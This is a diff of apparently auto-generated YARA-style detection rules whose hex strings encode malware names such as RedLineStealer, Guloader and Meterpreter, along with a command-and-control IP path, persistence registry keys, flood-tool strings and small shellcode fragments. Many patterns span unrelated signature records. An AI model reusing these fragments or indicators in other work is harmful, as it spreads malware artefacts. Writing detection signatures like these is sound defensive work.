_InfrastructureShared_9833{ ((#a_54_0 & 1)*18467+(#a_c1_1 & 1)*-14717+(#a_04_2 & 1)*-31974+(#a_00_3 & 1)*3) >=2 } -rule _InfrastructureShared_9834{ +rule _InfrastructureShared_10464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -106177,7 +113106,7 @@ rule _InfrastructureShared_9834{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*4352+(#a_2f_2 & 1)*12598+(#a_46_3 & 1)*16675) >=2 } -rule _InfrastructureShared_9835{ +rule _InfrastructureShared_10465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -106189,7 +113118,7 @@ rule _InfrastructureShared_9835{ ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*9472+(#a_01_2 & 1)*21901) >=3 } -rule _InfrastructureShared_9836{ +rule _InfrastructureShared_10466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -106201,7 +113130,7 @@ rule _InfrastructureShared_9836{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28233+(#a_01_2 & 1)*7680) >=3 } -rule _InfrastructureShared_9837{ +rule _InfrastructureShared_10467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -106213,7 +113142,7 @@ rule _InfrastructureShared_9837{ ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*20300+(#a_63_2 & 1)*19770) >=3 } -rule _InfrastructureShared_9838{ +rule _InfrastructureShared_10468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -106223,43 +113152,31 @@ rule _InfrastructureShared_9838{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_9839{ +rule _InfrastructureShared_10469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 50 68 61 6e 45 76 61 64 65 2e 78 36 34 21 48 65 61 70 00 01 00 1a 03 41 b8 00 00 00 00 48 89 c2 b9 00 00 04 00 48 8b 90 01 04 90 01 01 ff d0 90 00 01 00 22 03 48 89 c2 48 8b 90 01 04 90 01 01 49 89 d0 ba 08 00 00 00 48 89 c1 48 8b 90 01 04 90 01 } //18467 - $a_90_1 = {01 00 27 03 c7 44 24 20 04 00 00 00 41 b9 00 00 00 00 49 89 d0 ba 00 00 00 00 b9 00 00 00 00 48 8b 90 01 04 90 01 01 ff d0 90 00 00 00 78 91 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 44 31 32 33 21 4d 54 42 00 01 00 13 81 01 73 75 70 65 72 68 65 72 65 73 79 20 73 6e 65 64 6b 65 72 01 00 24 81 01 74 65 6b 73 74 68 65 6e 76 69 73 6e 69 6e 67 65 72 6e 65 73 20 70 72 65 61 6e 74 69 63 69 70 61 74 69 6e 67 01 00 21 81 01 72 61 6b 6b 65 72 65 6e 73 20 66 65 72 73 6b 65 6e 65 72 20 74 75 72 69 73 74 6b 6c 61 73 73 65 73 00 00 78 91 00 00 03 00 03 00 03 00 21 23 54 45 } //-255 - $a_72_2 = {6a 61 6e 3a 57 69 6e 36 34 2f 52 65 64 6c 69 6e 65 73 74 65 61 6c 65 72 2e 50 47 41 21 4d 54 42 00 01 00 1b 80 01 31 38 35 2e 38 31 2e 36 38 2e 31 34 37 2f 62 69 6e 2f 62 6f 74 36 34 2e 62 69 6e 01 00 2b 80 01 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e } //14924 + $a_90_1 = {01 00 27 03 c7 44 24 20 04 00 00 00 41 b9 00 00 00 00 49 89 d0 ba 00 00 00 00 b9 00 00 00 00 48 8b 90 01 04 90 01 01 ff d0 90 00 00 00 78 91 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 44 31 32 33 21 4d 54 42 00 01 00 13 81 01 73 75 70 65 72 68 65 72 65 73 79 20 73 6e 65 64 6b 65 72 01 00 24 81 01 74 65 6b 73 74 68 65 6e 76 69 73 6e 69 6e 67 65 72 6e 65 73 20 70 72 65 61 6e 74 69 63 69 70 61 74 69 6e 67 01 00 21 81 01 72 61 6b 6b 65 72 65 6e 73 20 66 65 72 73 6b 65 6e 65 72 20 74 75 72 69 73 74 6b 6c 61 73 73 65 73 00 00 78 91 00 00 03 00 03 00 04 00 21 23 41 4c } //-255 + $a_52_2 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 72 69 73 62 65 65 6d 2e 41 21 64 68 61 00 01 00 0c 01 69 6d 66 73 62 44 6c 6c 2e 64 6c 6c 01 00 0c 01 53 62 69 65 44 6c 6c 5f 48 6f 6f 6b 01 00 17 03 69 6d 66 73 c7 } //20550 condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-255+(#a_72_2 & 1)*14924) >=3 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-255+(#a_52_2 & 1)*20550) >=3 } -rule _InfrastructureShared_9840{ +rule _InfrastructureShared_10470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 44 31 32 33 21 4d 54 42 00 01 00 13 81 01 73 75 70 65 72 68 65 72 65 73 79 20 73 6e 65 64 6b 65 72 01 00 24 81 01 74 65 6b 73 74 68 65 6e 76 69 73 6e 69 6e 67 65 72 6e 65 73 20 70 72 65 61 6e } //18467 - $a_69_1 = {61 74 69 6e 67 01 00 21 81 01 72 61 6b 6b 65 72 65 6e 73 20 66 65 72 73 6b 65 6e 65 72 20 74 75 72 69 73 74 6b 6c 61 73 73 65 73 00 00 78 91 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 64 6c 69 6e 65 73 74 65 61 6c 65 72 2e 50 47 41 21 4d 54 42 00 01 00 } //26996 - $a_31_2 = {35 } //-32741 5 + $a_69_1 = {61 74 69 6e 67 01 00 21 81 01 72 61 6b 6b 65 72 65 6e 73 20 66 65 72 73 6b 65 6e 65 72 20 74 75 72 69 73 74 6b 6c 61 73 73 65 73 00 00 78 91 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 72 69 73 62 65 65 6d 2e 41 21 64 68 61 00 01 00 0c 01 69 6d 66 } //26996 + $a_6c_2 = {2e 64 6c 6c 01 00 0c 01 53 62 69 65 44 6c 6c 5f 48 6f 6f 6b 01 00 17 03 69 6d 66 73 c7 45 90 01 01 62 2e 69 6e 66 c7 45 90 01 01 69 00 90 00 01 00 25 03 6e 78 89 70 c7 44 24 90 01 01 86 79 88 91 c7 44 24 } //25203 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26996+(#a_31_2 & 1)*-32741) >=3 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26996+(#a_6c_2 & 1)*25203) >=3 } -rule _InfrastructureShared_9841{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 64 6c 69 6e 65 73 74 65 61 6c 65 72 2e 50 47 41 21 4d 54 42 00 01 00 1b 80 01 31 38 35 2e 38 31 2e 36 38 2e 31 34 37 2f 62 69 6e 2f 62 6f 74 36 34 2e 62 69 6e 01 } //21539 - $a_01_1 = {43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 45 78 70 6c 6f 72 65 72 5c 53 74 61 72 74 75 70 41 70 70 72 6f 76 65 64 5c 52 75 6e 01 00 0b 01 62 69 74 63 6f 69 6e 63 61 73 68 00 00 78 91 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 72 69 73 62 65 65 6d 2e 41 21 64 68 61 00 01 00 0c 01 69 6d 66 73 62 44 6c 6c 2e 64 6c 6c 01 00 0c 01 53 } //11008 - $a_44_2 = {6c 5f 48 6f 6f 6b 01 00 17 03 69 6d 66 73 c7 45 90 01 01 62 2e 69 6e 66 c7 45 90 01 01 69 00 90 00 01 00 25 03 6e 78 89 70 c7 44 24 90 01 01 86 79 88 91 c7 44 24 90 01 01 78 6f 8c 91 c7 44 24 90 01 01 78 67 74 90 90 90 00 00 00 78 91 00 00 03 00 03 00 04 00 21 23 50 55 41 3a 4d 4c 3a 42 6c 6f 63 6b 65 } //26978 - condition: - ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*11008+(#a_44_2 & 1)*26978) >=3 - -} -rule _InfrastructureShared_9842{ +rule _InfrastructureShared_10471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -106271,7 +113188,7 @@ rule _InfrastructureShared_9842{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*11874+(#a_65_3 & 1)*28526) >=3 } -rule _InfrastructureShared_9843{ +rule _InfrastructureShared_10472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -106283,7 +113200,7 @@ rule _InfrastructureShared_9843{ ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*28257+(#a_00_2 & 1)*400) >=3 } -rule _InfrastructureShared_9844{ +rule _InfrastructureShared_10473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -106295,7 +113212,7 @@ rule _InfrastructureShared_9844{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*29953+(#a_50_2 & 1)*19521) >=3 } -rule _InfrastructureShared_9845{ +rule _InfrastructureShared_10474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -106306,7 +113223,7 @@ rule _InfrastructureShared_9845{ ((#a_46_0 & 1)*16675+(#a_4e_2 & 1)*12289) >=4 } -rule _InfrastructureShared_9846{ +rule _InfrastructureShared_10475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -106319,7 +113236,7 @@ rule _InfrastructureShared_9846{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*22081+(#a_3a_2 & 1)*17744+(#a_4e_3 & 1)*16712) >=4 } -rule _InfrastructureShared_9847{ +rule _InfrastructureShared_10476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -106331,7 +113248,7 @@ rule _InfrastructureShared_9847{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*25972+(#a_01_3 & 1)*6912) >=4 } -rule _InfrastructureShared_9848{ +rule _InfrastructureShared_10477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -106339,25 +113256,38 @@ rule _InfrastructureShared_9848{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 44 33 37 21 4d 54 42 00 01 00 1b 81 01 48 48 6b 64 73 6b 6a 6c 64 66 73 6b 6a 6a 65 72 41 61 73 64 66 73 67 65 e2 80 8e 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 11 81 01 } //18467 $a_52_1 = {73 6f 75 72 63 65 53 74 72 69 6e 67 01 00 1a 81 01 67 65 74 5f 43 75 72 72 65 6e 74 4d 61 6e 61 67 65 64 54 68 72 65 61 64 49 64 00 00 78 91 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 41 30 31 21 4d 54 42 00 01 00 20 81 01 6d 69 6e 63 68 65 6e 20 68 6f 6d 6f 67 65 6e 65 6f 75 73 6c 79 20 61 6b } //25927 $a_69_2 = {64 65 78 01 00 22 81 01 6c 61 6e 64 73 74 69 6e 67 73 6d 65 64 6c 65 6d 6d 65 74 20 70 65 64 61 6e 74 65 6e 20 70 61 6c 61 72 01 00 0a 81 01 66 6f 72 75 64 73 69 67 65 72 01 00 09 81 01 6e 65 64 64 79 6b 6b 65 72 00 00 78 91 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 } //26996 - $a_2e_3 = {4d 4d 53 31 32 33 21 4d 54 42 00 01 00 17 81 01 64 61 6e 73 6b 65 72 6c 67 65 6e 20 6a 76 6e 66 72 69 6e 67 65 6e 73 01 00 18 81 01 70 72 6f 70 69 6f 20 74 61 72 6d 72 65 6e 73 6e 69 6e 67 65 72 6e 65 73 01 00 12 81 01 65 6e 72 61 76 69 73 68 6d 65 6e 74 20 73 70 65 61 6e 01 00 12 81 01 61 6c 6c 73 70 69 63 65 20 74 6f 75 63 68 65 72 65 72 } //25956 + $a_2e_3 = {42 42 36 30 32 21 4d 54 42 00 01 00 13 81 01 66 6f 72 66 61 72 20 73 70 75 6e 73 65 6e 65 2e 65 78 65 01 00 1e 81 01 75 6e 69 6e 66 69 6e 69 74 65 6c 79 20 70 6f 70 70 79 77 6f 72 74 20 73 74 6f 6f 6c 69 65 01 00 0b 81 01 73 6f 6c 74 72 72 65 6e 64 65 73 01 00 18 81 01 74 72 61 6e 73 70 69 72 61 74 69 6f 6e 65 6e 20 69 6d 70 65 64 69 6e 67 } //25956 condition: ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*25927+(#a_69_2 & 1)*26996+(#a_2e_3 & 1)*25956) >=4 } -rule _InfrastructureShared_9849{ +rule _InfrastructureShared_10478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 41 30 31 21 4d 54 42 00 01 00 20 81 01 6d 69 6e 63 68 65 6e 20 68 6f 6d 6f 67 65 6e 65 6f 75 73 6c 79 20 61 6b 74 69 65 69 6e 64 65 78 01 00 22 81 01 6c 61 6e 64 73 74 69 6e 67 73 6d 65 64 6c 65 } //18467 - $a_74_1 = {70 65 64 61 6e 74 65 6e 20 70 61 6c 61 72 01 00 0a 81 01 66 6f 72 75 64 73 69 67 65 72 01 00 09 81 01 6e 65 64 64 79 6b 6b 65 72 00 00 78 91 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4d 53 31 32 33 21 4d 54 42 00 01 00 17 81 01 64 61 6e 73 6b 65 72 } //28013 - $a_6e_2 = {6a 76 6e 66 72 69 6e 67 65 6e 73 01 00 18 81 01 70 72 6f 70 69 6f 20 74 61 72 6d 72 65 6e 73 6e 69 6e 67 65 72 6e 65 73 01 00 12 81 01 65 6e 72 61 76 69 73 68 6d 65 6e 74 20 73 70 65 61 6e 01 00 12 81 01 61 6c 6c 73 70 69 63 65 20 74 6f 75 63 68 65 72 65 72 00 00 78 91 00 00 04 00 04 00 04 00 21 23 48 } //26476 - $a_3a_3 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 59 4d 31 32 33 21 4d 54 42 00 01 00 18 81 01 6d 61 72 74 79 72 6d 69 6e 65 72 20 6e 65 75 72 6f 6c 6f 67 69 73 74 73 01 00 0f 81 01 6e 6f 6e 74 72 61 63 65 61 62 69 6c 69 74 79 01 00 0f 81 01 74 6f } //21587 + $a_74_1 = {70 65 64 61 6e 74 65 6e 20 70 61 6c 61 72 01 00 0a 81 01 66 6f 72 75 64 73 69 67 65 72 01 00 09 81 01 6e 65 64 64 79 6b 6b 65 72 00 00 78 91 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 42 36 30 32 21 4d 54 42 00 01 00 13 81 01 66 6f 72 66 61 72 20 73 } //28013 + $a_73_2 = {6e 65 2e 65 78 65 01 00 1e 81 01 75 6e 69 6e 66 69 6e 69 74 65 6c 79 20 70 6f 70 70 79 77 6f 72 74 20 73 74 6f 6f 6c 69 65 01 00 0b 81 01 73 6f 6c 74 72 72 65 6e 64 65 73 01 00 18 81 01 74 72 61 6e 73 70 69 72 61 74 69 6f 6e 65 6e 20 69 6d 70 65 64 69 6e 67 00 00 78 91 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 } //30064 + $a_6c_3 = {61 64 65 72 2e 4b 4d 4d 53 31 32 33 21 4d 54 42 00 01 00 17 81 01 64 61 6e 73 6b 65 72 6c 67 65 6e 20 6a 76 6e 66 72 69 6e 67 65 6e 73 01 00 18 81 01 70 72 6f 70 69 6f 20 74 61 72 6d 72 65 6e 73 6e 69 6e 67 65 72 6e 65 73 01 00 12 81 01 65 6e 72 61 76 69 73 68 6d 65 6e 74 20 73 70 65 61 6e 01 00 12 81 01 61 6c 6c 73 70 69 63 65 20 74 6f 75 63 68 65 } //18223 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28013+(#a_6e_2 & 1)*26476+(#a_3a_3 & 1)*21587) >=4 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28013+(#a_73_2 & 1)*30064+(#a_6c_3 & 1)*18223) >=4 } -rule _InfrastructureShared_9850{ +rule _InfrastructureShared_10479{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 42 36 30 32 21 4d 54 42 00 01 00 13 81 01 66 6f 72 66 61 72 20 73 70 75 6e 73 65 6e 65 2e 65 78 65 01 00 1e 81 01 75 6e 69 6e 66 69 6e 69 74 65 6c 79 20 70 6f 70 70 79 77 6f 72 74 20 73 74 6f 6f } //18467 + $a_01_1 = {00 0b 81 01 73 6f 6c 74 72 72 65 6e 64 65 73 01 00 18 81 01 74 72 61 6e 73 70 69 72 61 74 69 6f 6e 65 6e 20 69 6d 70 65 64 69 6e 67 00 00 78 91 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4d 53 31 32 33 21 4d 54 42 00 01 00 17 81 01 64 61 6e 73 6b 65 } //26988 + $a_65_2 = {20 6a 76 6e 66 72 69 6e 67 65 6e 73 01 00 18 81 01 70 72 6f 70 69 6f 20 74 61 72 6d 72 65 6e 73 6e 69 6e 67 65 72 6e 65 73 01 00 12 81 01 65 6e 72 61 76 69 73 68 6d 65 6e 74 20 73 70 65 61 6e 01 00 12 81 01 61 6c 6c 73 70 69 63 65 20 74 6f 75 63 68 65 72 65 72 00 00 78 91 00 00 04 00 04 00 04 00 21 23 48 53 } //27762 + $a_57_3 = {6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 59 4d 31 32 33 21 4d 54 42 00 01 00 18 81 01 6d 61 72 74 79 72 6d 69 6e 65 72 20 6e 65 75 72 6f 6c 6f 67 69 73 74 73 01 00 0f 81 } //21076 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*26988+(#a_65_2 & 1)*27762+(#a_57_3 & 1)*21076) >=4 + +} +rule _InfrastructureShared_10480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -106370,7 +113300,7 @@ rule _InfrastructureShared_9850{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_6e_2 & 1)*385+(#a_72_3 & 1)*25966) >=4 } -rule _InfrastructureShared_9851{ +rule _InfrastructureShared_10481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -106383,7 +113313,7 @@ rule _InfrastructureShared_9851{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29295+(#a_00_2 & 1)*29550+(#a_65_3 & 1)*385) >=4 } -rule _InfrastructureShared_9852{ +rule _InfrastructureShared_10482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -106395,7 +113325,7 @@ rule _InfrastructureShared_9852{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*25966+(#a_65_2 & 1)*26479) >=4 } -rule _InfrastructureShared_9853{ +rule _InfrastructureShared_10483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -106406,7 +113336,7 @@ rule _InfrastructureShared_9853{ ((#a_41_0 & 1)*20515+(#a_73_1 & 1)*29556) >=4 } -rule _InfrastructureShared_9854{ +rule _InfrastructureShared_10484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -106419,7 +113349,7 @@ rule _InfrastructureShared_9854{ ((#a_41_0 & 1)*20515+(#a_6d_1 & 1)*29541+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_9855{ +rule _InfrastructureShared_10485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -106432,7 +113362,7 @@ rule _InfrastructureShared_9855{ ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_91_3 & 1)*0) >=4 } -rule _InfrastructureShared_9856{ +rule _InfrastructureShared_10486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -106445,7 +113375,7 @@ rule _InfrastructureShared_9856{ ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*-28531+(#a_ff_2 & 1)*19851+(#a_15_3 & 1)*513) >=4 } -rule _InfrastructureShared_9857{ +rule _InfrastructureShared_10487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -106459,7 +113389,7 @@ rule _InfrastructureShared_9857{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29817+(#a_00_2 & 1)*27756+(#a_6e_3 & 1)*384+(#a_01_4 & 1)*2816) >=4 } -rule _InfrastructureShared_9858{ +rule _InfrastructureShared_10488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -106472,7 +113402,7 @@ rule _InfrastructureShared_9858{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_65_2 & 1)*26950+(#a_65_3 & 1)*25970) >=4 } -rule _InfrastructureShared_9859{ +rule _InfrastructureShared_10489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -106482,54 +113412,45 @@ rule _InfrastructureShared_9859{ $a_69_2 = {33 32 2f 4d 65 74 65 72 70 72 65 74 65 72 21 77 73 32 5f 33 32 5f 41 50 49 73 00 01 00 06 01 68 29 80 6b 00 ff 01 00 06 01 68 ea 0f df e0 ff 02 00 06 01 68 99 a5 74 61 ff 01 00 06 01 68 c2 db 37 67 ff 01 00 06 01 68 b7 e9 38 ff ff 01 00 06 01 68 74 ec 3b e1 ff } //14930 $a_01_3 = {68 75 6e 4d 61 ff } //1 $a_01_4 = {75 ef 8b 6b 08 8b 45 3c 8b 4c 05 78 8b 4c 0d 1c 8b 5c 29 3c 03 dd 03 6c 29 24 } //4 - $a_91_5 = {00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 41 41 46 21 4d 54 42 00 03 00 1e 01 53 6f 66 74 77 61 72 65 5c 73 72 61 64 64 68 61 73 5c 62 69 68 65 6e 73 69 67 74 65 72 73 01 00 25 01 73 75 70 65 72 6e 6f 76 61 73 5c 6d 65 73 61 6c 6c 69 61 6e 63 65 72 73 5c 53 65 6b 73 61 61 72 69 6e 67 65 6e 01 00 } //0 + $a_91_5 = {00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 50 47 43 49 21 4d 54 42 00 01 00 2d 03 2e 74 65 78 74 00 00 00 90 01 02 0d 00 00 10 00 00 00 90 01 01 0d 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 90 00 04 00 2c 03 2e 64 61 74 61 00 00 00 58 45 0f 00 00 f0 10 00 00 d6 0b 00 } //0 condition: ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*267+(#a_69_2 & 1)*14930+(#a_01_3 & 1)*1+(#a_01_4 & 1)*4+(#a_91_5 & 1)*0) >=4 } -rule _InfrastructureShared_9860{ +rule _InfrastructureShared_10490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 4d 65 74 65 72 70 72 65 74 65 72 21 77 73 32 5f 33 32 5f 41 50 49 73 00 01 00 06 01 68 29 80 6b 00 ff 01 00 06 01 68 ea 0f df e0 ff 02 00 06 01 68 99 a5 74 61 ff 01 00 06 01 68 c2 db 37 67 ff 01 00 06 01 68 b7 e9 38 ff ff 01 00 } //18467 - $a_74_1 = {3b e1 ff 01 00 06 01 68 75 6e 4d 61 ff 04 00 1a 01 75 ef 8b 6b 08 8b 45 3c 8b 4c 05 78 8b 4c 0d 1c 8b 5c 29 3c 03 dd 03 6c 29 24 00 00 78 91 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 41 41 46 21 4d 54 42 00 03 00 1e 01 53 6f 66 74 77 61 72 65 5c } //262 - $a_64_2 = {68 61 73 5c 62 69 68 65 6e 73 69 67 74 65 72 73 01 00 25 01 73 75 70 65 72 6e 6f 76 61 73 5c 6d 65 73 61 6c 6c 69 61 6e 63 65 72 73 5c 53 65 6b 73 61 61 72 69 6e 67 65 6e 01 00 16 01 62 65 74 72 6e 67 74 65 73 5c 68 6f 63 6b 73 68 69 6e 2e 54 6f 65 00 00 78 91 00 00 05 00 05 00 04 00 21 23 } //29299 - $a_3a_3 = {55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 65 70 64 6f 74 2e 61 77 33 37 00 02 00 1d 80 01 64 32 76 30 7a 65 74 67 75 36 68 6f 74 76 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 01 00 18 80 01 62 } //19521 - $a_64_4 = {69 6c 2f 76 36 2e 37 35 2e 35 30 2e 30 39 35 2e 35 37 01 00 0d 80 01 5c 50 6f 77 65 72 49 53 4f 2e 63 68 6d 01 00 0e 80 01 75 6e 6b 6e 6f 77 6e 64 6c 6c 2e 70 64 62 00 00 78 91 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 58 69 6e 67 43 6c 6f 75 64 44 6f 77 6e 6c 6f 61 64 65 72 00 02 00 1a 01 78 00 69 00 6e 00 67 00 63 00 } //26997 - $a_00_5 = {75 00 64 00 2e 00 63 00 6f 00 6d 00 01 00 26 01 5c 00 5c 00 2e 00 5c 00 50 00 68 00 79 00 73 00 69 00 63 00 61 00 6c 00 44 00 72 00 69 00 76 00 65 00 25 00 64 00 01 00 0e 01 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 01 00 0e 01 57 00 73 00 79 00 73 00 53 00 76 00 63 00 00 00 03 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a } //108 - $a_6b_6 = {6f 6f 72 3a 46 6c 6f 6f 64 69 6e 67 2e 53 61 6d 70 6c 65 73 00 01 00 08 80 01 73 79 6e 66 6c 6f 6f 64 01 00 09 80 01 68 74 74 70 66 6c 6f 6f 64 01 00 08 80 01 75 64 70 66 6c 6f 6f 64 01 00 09 80 01 69 63 6d 70 66 6c 6f 6f 64 01 00 2d 80 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c } //24898 - $a_64_7 = {77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 00 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 57 51 53 31 32 33 21 4d 54 42 00 01 00 12 81 01 66 79 72 65 73 65 64 6c 65 72 20 70 65 72 73 69 73 74 01 00 0b 81 01 6f 70 70 65 62 72 20 6c 66 61 64 01 00 06 81 } //26967 + $a_74_1 = {3b e1 ff 01 00 06 01 68 75 6e 4d 61 ff 04 00 1a 01 75 ef 8b 6b 08 8b 45 3c 8b 4c 05 78 8b 4c 0d 1c 8b 5c 29 3c 03 dd 03 6c 29 24 00 00 78 91 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 50 47 43 49 21 4d 54 42 00 01 00 2d 03 2e 74 65 78 74 } //262 + $a_0d_5 = {00 } //400 condition: - 